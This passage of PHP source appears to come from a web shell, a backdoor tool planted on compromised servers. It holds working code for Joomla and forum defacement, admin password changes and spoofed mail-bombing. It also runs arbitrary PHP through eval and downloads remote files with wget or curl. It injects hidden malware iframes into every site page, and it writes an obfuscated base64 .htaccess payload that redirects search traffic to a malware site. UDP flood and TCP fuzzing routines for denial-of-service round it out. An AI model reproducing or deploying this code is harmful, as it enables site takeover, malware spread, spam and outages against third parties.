\$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POST, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POSTFIELDS,\"jform[source]=\".\$h.\"&jform[filename]=index.php&jform[extension_id]=\".\$template_id.\"&\".\$hidden2.\"=1&task=source.save\");\r\n\t\t\t\t\t\t\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\r\n\t\t\t\$pos = strpos(\$buffer,'<dd class=\"message message\">');\r\n\t\t\tif(\$pos === false) \r\n\t\t\t{\r\n\t\t\t\techo(\"<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>\");\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\techo(\"<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>\");\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$req =mysql_query(\"SELECT * from `\".\$dbprefix.\"templates_menu` WHERE client_id='0'\");\r\n\t\t\t\$data = mysql_fetch_array(\$req);\r\n\t\t\t\$template_name=\$data[\"template\"];\r\n\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php\";\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$hidden=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"','\" value=\"1\"',3);\r\n\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php\";\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POST, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POSTFIELDS,\"username=admin&passwd=123456789&option=com_login&task=login&\".\$hidden.\"=1\");\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$pos = strpos(\$buffer,\"com_config\");\r\n\t\r\n\t\t\tif(\$pos === false) \r\n\t\t\t{\r\n\t\t\t\techo(\"<br>[-] Login Error\");\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php?option=com_templates&task=edit_source&client=0&id=\".\$template_name;\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$hidden2=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"','\" value=\"1\"',6);\r\n\t\t\t\t\r\n\t\t\tif(!\$hidden2) \r\n\t\t\t{\r\n\t\t\t\techo(\"<br>[-] index.php Not found in Theme Editor\");\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php?option=com_templates&layout=edit\";\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POST, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POSTFIELDS,\"filecontent=\".\$h.\"&id=\".\$template_name.\"&cid[]=\".\$template_name.\"&\".\$hidden2.\"=1&task=save_source&client=0\");\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$pos = strpos(\$buffer,'<dd class=\"message message fade\">');\r\n\t\t\tif(\$pos === false) \r\n\t\t\t{\r\n\t\t\t\techo(\"<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>\");\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\techo(\"<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>\");\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nelse if(isset(\$_POST['pathtomass']) && \$_POST['pathtomass'] != '' && isset(\$_POST['filetype']) && \$_POST['filetype'] != '' && isset(\$_POST['mode']) && \$_POST['mode'] != '' && isset(\$_POST['injectthis']) && \$_POST['injectthis'] != '')\r\n{\r\n \$filetype = \$_POST['filetype'];\r\n \r\n \$mode = \"a\"; \r\n \r\n if(\$_POST['mode'] == 'Apender')\r\n \$mode = \"a\";\r\n \r\n if(\$_POST['mode'] == 'Overwriter')\r\n \$mode = \"w\";\r\n \r\n \tif (is_dir(\$_POST['pathtomass'])) \r\n\t{\r\n\t\t\$lolinject = \$_POST['injectthis'];\r\n\t\t\$mypath = \$_POST['pathtomass'] .\$directorysperator. \"*.\".\$filetype;\r\n\t\tif(substr(\$_POST['pathtomass'], -1) == \"\\\\\")\r\n\t\t\t\$mypath = \$_POST['pathtomass'] . \"*.\".\$filetype;\r\n\t\tforeach (glob(\$mypath) as \$injectj00) \r\n\t\t{\r\n\t\t\tif(\$injectj00 == __FILE__)\r\n\t\t\t\tcontinue;\r\n\t\t\t\$fp=fopen(\$injectj00,\$mode);\r\n\t\t\tif (fputs(\$fp,\$lolinject))\r\n\t\t\t\techo '<br><font class=txt size=3>'.\$injectj00.' was injected<br></font>';\r\n\t\t\telse\r\n\t\t\t\techo 'failed to inject '.\$injectj00.'<br>';\r\n\t\t}\r\n\t}\r\n\telse \r\n\t\techo '<b>'.\$_POST['pathtomass'].' is not available!</b>';\r\n}\r\nelse if(isset(\$_POST['mailfunction']))\r\n{\r\n\tif(\$_POST['mailfunction'] == \"dobombing\")\r\n\t{\r\n\t\tif(isset(\$_POST['to']) && isset(\$_POST['subject']) && isset(\$_POST['message']) && isset(\$_POST['times']) && \$_POST['to'] != '' && \$_POST['subject'] != '' && \t\t\t\$_POST['message'] != '' && \$_POST['times'] != '')\r\n\t\t{\r\n\t\t\t\$times = \$_POST['times'];\r\n\t\t\twhile(\$times--)\r\n\t\t\t{\r\n\t\t\t\tif(isset(\$_POST['padding']))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$fromPadd = rand(0,9999);\r\n\t\t\t\t\t\$subjectPadd = \" -- ID : \".rand(0,9999999);\r\n\t\t\t\t\t\$messagePadd = \"\\n\\n------------------------------\\n\".rand(0,99999999);\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\$from = \"president\$fromPadd@whitehouse.gov\";\r\n\t\t\t\tif(!mail(\$_POST['to'],\$_POST['subject'].\$subjectPadd,\$_POST['message'].\$messagePadd,\"From:\".\$from))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$error = 1;\r\n\t\t\t\t\techo \"<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(\$error != 1)\r\n\t\t\t\techo \"<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>\";\r\n\t\t}\r\n\t}\r\n\telse if(\$_POST['mailfunction'] == \"massmailing\")\r\n\t{\r\n\t\tif(isset(\$_POST['to']) && isset(\$_POST['from']) && isset(\$_POST['subject']) && isset(\$_POST['message']))\r\n\t\t{\r\n \t\t\tif(mail(\$_POST['to'],\$_POST['subject'],\$_POST['message'],\"From:\".\$_POST['from']))\r\n \t echo \"<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>\";\r\n \telse\r\n \t echo \"<center><font size=3><blink>Some Error Occured!</blink></font></center>\";\r\n\t\t}\r\n\t}\r\n}\r\nelse if(isset(\$_POST['code']))\r\n{\r\n\tif(\$_POST['code'] != null && isset(\$_POST['intext']) && \$_POST['intext'] == \"true\")\r\n\t{\r\n\t\t// FIlter Some Chars we dont need\r\n\t\t?><br>\r\n\t\t<textarea name=\"code\" class=\"box\" cols=\"120\" rows=\"10\"><?php \r\n\t\t\$code = str_replace(\"<?php\",\"\",\$_POST['code']);\r\n\t\t\$code = str_replace(\"<?\",\"\",\$code);\r\n\t\t\$code = str_replace(\"?>\",\"\",\$code);\r\n\t\r\n\t\t// Evaluate PHP CoDE!\r\n\t\thtmlspecialchars(eval(\$code));\r\n\t\t?>\r\n\t\t</textarea><?php \r\n\t}\r\n\telse if(\$_POST['code'] != null && \$_POST['intext'] == \"false\")\r\n\t{\r\n\t\t\$code = str_replace(\"<?php\",\"\",\$_POST['code']);\r\n\t\t\$code = str_replace(\"<?\",\"\",\$code);\r\n\t\t\$code = str_replace(\"?>\",\"\",\$code);\r\n\r\n\t\t// Evaluate PHP CoDE!\r\n\t\t?><br><font size=\"4\">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval(\$code)); ?></font><?php\r\n\t}\r\n}\r\nelse if(isset(\$_GET['infect']))\r\n{\r\n\t\$coun = 0;\r\n\t\$str = \"<iframe width=0px height=0px frameborder=no name=frame1 src=\".\$malsite.\"> </iframe>\";\r\n\tforeach (glob(\$_GET['path'] . \"*.php\") as \$injectj00) \r\n {\r\n\t\tif(\$injectj00 == __FILE__)\r\n\t\t\tcontinue;\r\n\t if(\$myfile=fopen(\$injectj00,'a'))\r\n\t {\r\n\t\t\tfputs(\$myfile, \$str);\r\n\t\t\tfclose(\$myfile);\r\n\t\t\t\$coun = 1;\r\n\t }\r\n }\r\n foreach (glob(\$_GET['path'] . \$directorysperator . \"*.htm\") as \$injectj00) \r\n {\r\n\t if(\$myfile=fopen(\$injectj00,'a'))\r\n\t {\t\r\n\t \tfputs(\$myfile, \$str);\r\n\t\tfclose(\$myfile);\r\n\t\t\$coun = 1;\r\n\t }\r\n\t}\r\n\tforeach (glob(\$_GET['path'] . \$directorysperator . \"*.html\") as \$injectj00) \r\n\t{\r\n\t\tif(\$myfile=fopen(\$injectj00,'a'))\r\n\t\t{\r\n\t\t\t fputs(\$myfile, \$str);\r\n\t\t\t fclose(\$myfile);\r\n\t\t\t \$coun = 1;\r\n\t\t}\r\n\t }\r\n\t\t\t\t \r\n\r\n\tif(\$coun == 1)\r\n\t\techo \"<center>Done !!!!<center>\";\r\n\telse\r\n\t\techo \"<center>Cannot open files !!!!<center>\";\r\n}\r\nelse if(isset(\$_GET['redirect']))\r\n{\r\n\tif(\$myfile = fopen(\".htaccess\",'a'))\r\n\t{\r\n\t\t\$mal = \"eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw\";\r\n\t\tfwrite(\$myfile, gzuncompress(base64_decode(\$mal)));\r\n\t\tfwrite(\$myfile, \"\\n\\r\");\r\n\t\tfclose(\$myfile);\r\n\t\techo \"<center>Done !!!!<center>\";\r\n\t}\r\n\telse\r\n\t\techo \"<center>Cannot open file !!!!<center>\";\r\n}\r\nelse if(isset(\$_GET['malware']))\r\n{ ?>\r\n\t<input type=\"hidden\" id=\"malpath\" value=\"<?php echo \$_GET[\"dir\"]; ?>\">\r\n\t<center><table><tr><td><a href=# onClick=\"malwarefun('infect')\"><font class=txt size=\"4\">| Infect Users |</font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"malwarefun('redirect')\"><font class=txt size=\"4\">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>\r\n\t<div id=\"showmal\"></div>\r\n\t<?php\r\n}\t\r\nelse if(isset(\$_GET['codeinsert']))\r\n{\r\n\tif(\$file1 = fopen(\".htaccess\",'r'))\r\n\t{\r\n\t?><div id=\"showcode\"></div>\r\n\t<form method=post>\r\n\t<textarea rows=9 cols=110 name=\"code\" class=box><?php while(!feof(\$file1)) { echo fgets(\$file1); } ?></textarea><br>\r\n\t<input type=\"button\" onClick=\"codeinsert(code.value)\" value=\" Insert \" class=but>\r\n\t</form>\r\n\t<?php }\r\n\telse\r\n\t\techo \"<center>Cannot Open File!!</center>\";\r\n}\r\nelse if(isset(\$_POST['getcode'])) \r\n{\r\n\t if(\$myfile = fopen(\".htaccess\",'a'))\r\n\t{\r\n\t\tfwrite(\$myfile, \$_POST['getcode']);\r\n\t\tfwrite(\$myfile, \"\\n\\r\");\r\n\t\tfclose(\$myfile);\r\n\t\techo \"<font class=txt>Code Inserted Successfully!!!!</font>\";\r\n\t}\r\n\telse\r\n\t\techo \"Permission Denied\";\r\n}\r\nelse if(isset(\$_GET['uploadurl']))\r\n{\r\n\t\$functiontype = trim(\$_GET['functiontype']); \r\n\t\$wurl = trim(\$_GET['wurl']); \r\n\t\$path = magicboom(\$_GET['path']); \r\n\t\r\n\tfunction remotedownload(\$cmd,\$url)\r\n\t{ \r\n\t\t\$namafile = basename(\$url); \r\n\t\tswitch(\$cmd) \r\n\t\t{ \r\n\t\t\tcase 'wwget': \r\n\t\t\t\texecmd(which('wget').\" \".\$url.\" -O \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wlynx': \r\n\t\t\t\texecmd(which('lynx').\" -source \".\$url.\" > \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wfread' : \r\n\t\t\t\texecmd(\$wurl,\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wfetch' : \r\n\t\t\t\texecmd(which('fetch').\" -o \".\$namafile.\" -p \".\$url);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wlinks' : \r\n\t\t\t\texecmd(which('links').\" -source \".\$url.\" > \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wget' : \r\n\t\t\t\texecmd(which('GET').\" \".\$url.\" > \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wcurl' : \r\n\t\t\t\texecmd(which('curl').\" \".\$url.\" -o \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tdefault: \r\n\t\t\tbreak; \r\n\t\t} \r\n\t\treturn \$namafile; \r\n\t}\r\n\t\$namafile = remotedownload(\$functiontype,\$wurl); \r\n\t\$fullpath = \$path . \$directorysperator . \$namafile;\r\n\tif(is_file(\$fullpath)) \r\n\t{ \r\n\t\techo \"<center><font class=txt>File uploaded to \$fullpath</font></center>\"; \r\n\t} \r\n\telse \r\n\t\techo \"<center>Failed to upload \$namafile</center>\"; \r\n}\r\nelse if(isset(\$_GET['createfolder']))\r\n{\r\n\tif(!mkdir(\$_GET['createfolder']))\r\n\t\t\techo \"Failed To create\";\r\n\telse\r\n\t\techo \"<font class=txt>Folder Created Successfully</font>\";\r\n}\r\nelse if(isset(\$_GET['selfkill']))\r\n{\r\n\tif(unlink(__FILE__))\r\n\t\techo \"<br><center><font size=5>Good Bye......</font></center>\";\r\n\telse\r\n\t\techo \"<br><center><font size=5>Shell cannot be removed......</font></center>\";\r\n}\r\nelse if(isset(\$_GET['Create']))\r\n{\r\n\t?>\r\n\t<form method=\"post\">\r\n\t\t<input type=\"hidden\" name=\"filecreator\" value=\"<?php echo \$_GET['Create']; ?>\">\r\n\t\t<textarea name=\"filecontent\" rows=\"12\" cols=\"100\" class=\"box\"></textarea><br />\r\n <input type=\"button\" onClick=\"createfile(filecreator.value,filecontent.value)\" value=\" Save \" class=\"but\"/>\r\n </form>\r\n\t\t\r\n<?php }\r\nelse if(isset(\$_POST['filecreator'])&&isset(\$_POST['filecontent']))\r\n{\r\n\t\$content = \$_POST['filecontent'];\r\n\tif(\$file_pointer = fopen(\$_POST['filecreator'], \"w+\"))\r\n\t{\r\n\t\tfwrite(\$file_pointer, \$content); \r\n\t\tfclose(\$file_pointer);\r\n\t\techo \"<font class=txt>File Created Successfully</font>\";\r\n\t}\r\n\telse\r\n\t\techo \"Cannot Create File\";\r\n}\r\nelse if(isset(\$_REQUEST[\"defaceforum\"]))\r\n{ \r\n\t?>\r\n\t<center><div id=\"showdeface\"></div>\r\n\t<font color=\"#FF0000\" size=\"4\">Forum Index Changer</font>\r\n\t<form action=\"<?php echo \$self; ?>\" method = \"POST\">\r\n\t\t<input type=\"hidden\" name=\"forum\">\r\n\t\t<input type=\"hidden\" name=\"defaceforum\">\r\n\t\t<table border = \"1\" width=\"60%\" style=\"text-align: center;border-color:#333333;\" align=\"center\"> \r\n\t\t\t<tr>\r\n\t\t\t\t<td height=\"50\" width=\"50%\"> <b>Host : </b><input class=\"sbox\" type=\"text\" name=\"f1\" size=\"20\" value=\"localhost\"></td>\r\n\t\t\t\t\r\n\t\t\t\t<td width=\"50%\"><b> Database :</b> <input type =\"text\" class=\"sbox\" name = \"f2\" size=\"20\"></td></tr>\t\t\t\t\t\t\t\t\t\t \t\t\t\t\t\r\n\t\t\t\t<tr><td height=\"50\" width=\"50%\"><b>User :</b> <input type =\"text\" class=\"sbox\" name = \"f3\" size=\"20\"> </td>\r\n\t\t\t\t<td><b> Password :</b> <input class=\"sbox\" type =\"text\" name = \"f4\" size=\"20\"></td></tr>\r\n\t\t\t\r\n\t\t\t\t<tr><td height=\"50\" width=\"50%\">Type : \r\n\t\t\t\t<select class=sbox id=\"forumdeface\" name=\"forumdeface\" onChange=\"checkforum(this.value)\">\r\n\t\t\t\t\t<option value=\"vb\">vbulletin</option>\r\n\t\t\t\t\t<option value=\"mybb\">Mybb</option>\r\n\t\t\t\t\t<option value=\"smf\">SMF</option>\r\n\t\t\t\t\t<option value=\"ipb\">IPB</option>\r\n\t\t\t\t\t<option value=\"wp\">Wordpress</option>\r\n\t\t\t\t\t<option value=\"joomla\">Joomla</option>\r\n\t\t\t\t</select></td>\r\n\t\t\t\t<td height=\"50\" width=\"50%\">Prefix : <input type=\"text\" id=\"tableprefix\" name=\"tableprefix\" class=\"sbox\"></td></td>\r\n\t\t\t\t\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td height=\"167\" width=\"50%\" colspan=2>\r\n\t\t\t\t<div style=\"display:none;\" id=\"myjoomla\"><p><b>Site URL : </b><input class=\"box\" type=\"text\" name=\"siteurl\" width=\"80\" value=\"http://site.com/administrator/\"></p></div>\r\n\t\t\t\t\t\r\n\t\t\t\t<div style=\"display:none;\" id=\"smfipb\"><p align=\"center\"><b>Head : </b><input class=\"sbox\" type=\"text\" name=\"head\" size=\"20\" value=\"Hacked\"> <b>Kate ID : </b><input class=\"sbox\" type=\"text\" name=\"f5\" size=\"20\" value=\"1\">\r\n\t\t\t\t<label id=\"wordpres\" style=\"display:none; float:right; margin-right:8%;\"><input type=\"checkbox\" name=\"all\" value=\"All\" checked=\"checked\"> All</label></p>\r\n\t\t\t\t</div>\r\n\t\t\t\r\n\t\t\t\t<p align=\"center\"> <textarea class=\"box\" name=\"index\" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align=\"center\">\r\n\t\t\t\t<input type=\"button\" onClick=\"forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,all.value,f5.value)\" class=\"but\" value = \"Hack It\">\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t</table>\r\n\t</form>\r\n\t\t</center>\t\r\n\t<?php \r\n\t\t}\r\n\t\telse if(isset(\$_GET[\"passwordchange\"]))\r\n\t\t{\r\n\t\t\techo \"<center>\";\r\n\t\t\t?>\r\n\t\t\t<div id=\"showchangepass\"></div>\r\n\t\t\t<font color=\"#FF0000\" size=\"4\">Forum Password Changer</font>\r\n\t\t\t<form onSubmit=\"changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value);return false;\">\r\n\t\t\t<table border = \"1\" width=\"60%\" height=\"246\" style=\"text-align: center;border-color:#333333;\" align=\"center\"> \r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td height=\"50\" width=\"50%\"> <b>Host : </b><input class=\"sbox\" type=\"text\" name=\"f1\" size=\"20\" value=\"localhost\"></td><td height=\"50\" width=\"50\"> <b> DataBase :</b> <input type =\"text\" class=\"sbox\" name = \"f2\" size=\"20\"></td> <tr><td height=\"50\" width=\"50%\"> <b>User :</b> <input type =\"text\" class=\"sbox\" name = \"f3\" size=\"20\"></td><td height=\"50\" width=\"50%\"> <b>Password :</b> <input class=\"sbox\" type =\"text\" name = \"f4\" size=\"20\"></td></tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t<td height=\"50\" width=\"50%\">Type : \r\n\t\t\t\t\t<select class=sbox id=\"forums\" name=\"forums\" onChange=\"showMsg(this.value)\">\r\n\t\t\t\t\t<option value=\"vb\">vbulletin</option>\r\n\t\t\t\t\t<option value=\"mybb\">Mybb</option>\r\n\t\t\t\t\t<option value=\"smf\">SMF</option>\r\n\t\t\t\t\t<option value=\"ipb\">IPB</option>\r\n\t\t\t\t\t<option value=\"phpbb\">PHPBB</option>\r\n\t\t\t\t\t<option value=\"wp\">Wordpress</option>\r\n\t\t\t\t\t<option value=\"joomla\">Joomla</option>\r\n\t\t\t\t\t</select></td>\r\n\t\t\t\t\t<td height=\"50\" width=\"50%\">Prefix : <input type=\"text\" id=\"tableprefix\" name=\"tableprefix\" class=\"sbox\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=2 height=\"100\" width=\"780\">\r\n\t\t\t\t\t\r\n\t\t\t\t\t<p align=\"center\"><div id=\"fid\" style=\"display:block;\"><b>User ID :</b> <input class=\"sbox\" type=\"text\" name=\"ipbuid\" size=\"20\" value=\"1\"> <b>New Password :</b> <input type =\"text\" class=\"sbox\" name = \"newipbpass\" size=\"20\" value=\"hacked\"></div>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<div id=\"joomla\" style=\"display:none;\"><b>New Username :</b> <input style=\"width:170px;\" class=\"box\" type=\"text\" name=\"username\" size=\"20\" value=\"admin\"> <b>New Password :</b> <input type =\"text\" class=\"sbox\" name = \"newjoomlapass\" size=\"20\" value=\"hacked\"></div>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<div id=\"wpress\" style=\"display:none;\"><p><b>User ID :</b> <input class=\"sbox\" type=\"text\" name=\"uid\" size=\"20\" value=\"1\"> <b>New Password :</b> <input type =\"text\" class=\"sbox\" name = \"newpass\" size=\"20\" value=\"hacked\"></p><b>New Username :</b> <input style=\"width:170px;\" class=\"box\" type=\"text\" name=\"uname\" size=\"20\" value=\"admin\"></div>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<p><input type = \"button\" onClick=\"changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value)\" class=\"but\" value = \" Change IT \" name=\"forumpass\"></p></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t</form>\r\n\t\t</center>\t\r\n\t\t\t<?php\r\n}\r\nelse if(isset(\$_GET['dosser']))\r\n{\r\n\tif(isset(\$_GET['ip']) && isset(\$_GET['exTime']) && isset(\$_GET['port']) && isset(\$_GET['timeout']) && isset(\$_GET['exTime']) && \$_GET['exTime'] != \"\" &&\r\n\t\t\$_GET['port'] != \"\" && \$_GET['ip'] != \"\" &&\t\$_GET['timeout'] != \"\" && \$_GET['exTime'] != \"\"\t)\r\n\t{\r\n\t\t \$IP=\$_GET['ip'];\r\n\t\t \$port=\$_GET['port'];\r\n\t\t \$executionTime = \$_GET['exTime'];\r\n\t\t \$no0fBytes = \$_GET['no0fBytes'];\r\n\t\t \$data = \"\";\r\n\t\t \$timeout = \$_GET['timeout'];\r\n\t\t \$packets = 0;\r\n\t\t \$counter = \$no0fBytes;\r\n\t\t \$maxTime = time() + \$executionTime;;\r\n\t\t while(\$counter--)\r\n\t\t {\r\n\t\t\t\t\$data .= \"X\";\r\n\t\t }\r\n\t\t \$data .= \" Dhanush\"; \r\n\t\t \r\n\t\t while(1)\r\n\t\t {\r\n\t\t\t\t\$socket = fsockopen(\"udp://\$IP\", \$port, \$error, \$errorString, \$timeout);\r\n\t\t\t\tif(\$socket)\r\n\t\t\t\t{\r\n\t\t\t\t\tfwrite(\$socket , \$data);\r\n\t\t\t\t\tfclose(\$socket);\r\n\t\t\t\t\t\$packets++;\r\n\t\t\t\t}\r\n\t\t\t\tif(time() >= \$maxTime)\r\n\t\t\t\t{\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \"Dos Completed!<br>\";\r\n\t\t\techo \"DOS attack against udp://\$IP:\$port completed on \".date(\"h:i:s A\").\"<br />\";\r\n\t\t\techo \"Total Number of Packets Sent : \" . \$packets . \"<br />\";\r\n\t\t\techo \"Total Data Sent = \". HumanReadableFilesize(\$packets*\$no0fBytes) . \"<br />\"; \r\n\t\t\techo \"Data per packet = \" . HumanReadableFilesize(\$no0fBytes) . \"<br />\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['fuzzer']))\r\n{\r\n\tif(isset(\$_GET['ip']) && isset(\$_GET['port']) && isset(\$_GET['timeout']) && isset(\$_GET['exTime']) && isset(\$_GET['no0fBytes']) && isset(\$_GET['multiplier']) && \$_GET['no0fBytes'] != \"\" && \$_GET['exTime'] != \"\" && \$_GET['timeout'] != \"\" && \$_GET['port'] != \"\" && \$_GET['ip'] != \"\" && \$_GET['multiplier'] != \"\")\r\n {\r\n \$IP=\$_GET['ip'];\r\n \$port=\$_GET['port'];\r\n \$times = \$_GET['exTime'];\r\n\t\t\$timeout = \$_GET['timeout'];\r\n\t\t\$send = 0;\r\n \$ending = \"\";\r\n \$multiplier = \$_GET['multiplier'];\r\n \$data = \"\";\r\n \$mode=\"tcp\";\r\n \$data .= \"GET /\";\r\n \$ending .= \" HTTP/1.1\\n\\r\\n\\r\\n\\r\\n\\r\";\r\n if(\$_GET['type'] == \"tcp\")\r\n {\r\n \$mode = \"tcp\";\r\n }\r\n\t\r\n while(\$multiplier--)\r\n {\r\n \$data .= urlencode(\$_GET['no0fBytes']);\r\n }\r\n \$data .= \"%s%s%s%s%d%x%c%n%n%n%n\";// add some format string specifiers\r\n \$data .= \"by-Dhanush\".\$ending;\r\n \$length = strlen(\$data);\r\n \r\n \r\n echo \"Sending Data :- <br /> <p align='center'>\$data</p>\";\r\n \r\n for(\$i=0;\$i<\$times;\$i++)\r\n\t{\r\n \$socket = fsockopen(\"\$mode://\$IP\", \$port, \$error, \$errorString, \$timeout);\r\n if(\$socket)\r\n {\r\n fwrite(\$socket , \$data , \$length );\r\n fclose(\$socket);\r\n }\r\n }\r\n echo \"Fuzzing Completed!<br>\";\r\n echo \"DOS attack against \$mode://\$IP:\$port completed on \".date(\"h:i:s A\").\"<br />\";\r\n echo \"Total Number of Packets Sent : \" . \$times . \"<br />\";\r\n echo \"Total Data Sent = \". HumanReadableFilesize(\$times*\$length) . \"<br />\"; \r\n echo \"Data per packet = \" . HumanReadableFilesize(\$length) . \"<br />\";\r\n }\r\n}\r\nelse 